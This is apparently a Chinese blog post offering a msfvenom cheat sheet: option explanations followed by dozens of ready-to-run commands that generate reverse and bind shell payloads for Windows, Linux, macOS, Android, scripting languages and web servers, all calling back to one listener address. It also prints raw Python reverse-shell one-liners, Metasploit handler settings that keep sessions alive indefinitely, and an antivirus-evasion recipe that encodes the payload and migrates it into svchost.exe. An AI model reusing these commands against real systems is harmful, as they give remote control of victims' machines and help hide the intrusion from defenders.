zoukankan      html  css  js  c++  java
  • msfvenom简介

    写此文是因为网上资料杂乱,不方便查阅,辣眼睛

    测试免杀的时候刚好用到这个功能,顺便写一下(0202年靠msfvenom生成的纯原生payload可以宣告死亡了,如果有查不出来的杀软可以退群了,这也叫杀软吗太丢人了)

    在此把个人了解的遇到过的一些关于msfvenom使用过程中的问题根据大佬们的思路整理出来,仅供参考

    ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

                                     大佬止步线

    ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

    msfvenom取代了msfpayload和msfencode,常用于生成木马,在目标机器上执行,在本地机器kali中上线

     大致参数介绍

    -l, --list <type> 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all

    -p, --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的

    -f, --format < format> 指定输出格式

    -e, --encoder <encoder> 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload

    -a, --arch < architecture> 指定payload的目标架构,例如x86 还是 x64 还是 x86_64

    -o, --out < path> 指定创建好的payload的存放位置

    -b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使用 'x0f'、'x00'

    -n, --nopsled < length> 为payload预先指定一个NOP滑动长度

    -s, --space < length> 设定有效攻击荷载的最大长度,就是文件大小

    -i, --iterations < count> 指定payload的编码次数

    -c, --add-code < path> 指定一个附加的win32 shellcode文件

    -x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中

    -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行

    -v, --var-name < value> 指定一个自定义的变量,以确定输出格式

    -t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)

    -h,--help 查看帮助选项

    --platform < platform> 指定payload的目标平台

    。。。。。。

    例如:看一下有哪些payload

    再比如看一下 某个payload有哪些选项支持哪些平台

    再比如看一下有哪些编码器msfvenom -l encoders

     其中就包括号称“excellent”的、随处可见的shikata_ga_nai  (真的是无能为力吗,我不信)

    再有msfvenom -l 什么什么都行  ,不一一列举了

    生成payload

    二进制

    windows

    64位

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f exe > shell.exe

     32位

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform Windows -f exe > shell.exe

    Linux

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform Linux -f elf > shell.elf

    Mac

    msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform osx -f macho > shell.macho

    Android

    msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw > shell.apk

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 R > test.apk

    powershell

    msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1

    nc正向

    msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.32.129 LPORT=2333  -f exe> 1.exe

    nc反向

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333  -f exe> 1.exe

    shellcode

    Linux

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform Windows -f c

    windows

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform Linux -f c

    Mac

    msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -a x86 --platform osx -f c

    脚本

    Python反弹shell

    msfvenom -p cmd/unix/reverse_python LHOST=192.168.32.129 LPORT=2333 -f raw > shell.py
    msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw > shell.py

    Python正向shell

    python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.129",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    python/python3 -c "exec("import socket, subprocess;s = socket.socket();s.connect(("192.168.32.129",2333)) while 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")"

    bash

    msfvenom -p cmd/unix/reverse_bash LHOST=192.168.32.129 LPORT=2333 -f raw > shell.sh

    Perl

    msfvenom -p cmd/unix/reverse_perl LHOST=192.168.32.129 LPORT=2333 -f raw > shell.pl

    Lua

    msfvenom -p cmd/unix/reverse_lua LHOST=192.168.32.129 LPORT=2333 -f raw -o shell.lua

    Ruby

    msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw -o shell.rb

    web

    PHP

    msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw > shell.php
    cat shell.php | pbcopy && echo '<?php ' | tr -d ' ' > shell.php && pbpaste >> shell.php

    aspx

    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f aspx -o shell.aspx

    asp

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f asp > shell.asp

    jsp

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw > shell.jsp

    war

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f war > shell.war

    nodjs

    msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.32.129 LPORT=2333 -f raw -o shell.js

    另:补充

    保证收到session后继续监听端口

    msf exploit(multi/handler) > set ExitOnSession false 

    默认情况下,如果一个会话将在5分钟没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0

    msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 

    默认情况下,一个星期后,会话将被强制关闭,修改为0可永久不会被关闭

    msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 

    handler后台持续监听

    msf exploit(multi/handler) > exploit -j -z

    快速建立监听

    msf5 > handler -H 192.168.32.129 -P 2333 -p windows/meterpreter/reverse_tcp

    防止太显眼,msfvenom进程migrate,启动两个进程svchost.exe和shell.exe,PrependMigrate=true PrependMigrateProc=svchost.exe将进程默认迁移到svchost.exe中 (也可以写别的进程名)

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=2333 -e x86/shikata_ga_nai -b "x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe

    参考文章 :https://www.cnblogs.com/backlion/p/9484949.html

    随便转载,请标明作者出处

  • 相关阅读:
    Maven对Springboot项目配置文件、依赖分离打包
    记录一次SpringBoot中@Value注入失败
    springboot读取配置文件getResourceAsStream的用法
    hive的行列转换2
    hive的行列转换
    idea中java编译Unreachable statement编译错误
    Java 基础( 数组)
    linux ln命令详解
    Mac下打开进入/usr/local等隐藏目录
    Go map字典排序
  • 原文地址:https://www.cnblogs.com/lcxblogs/p/14024827.html
Copyright © 2011-2022 走看看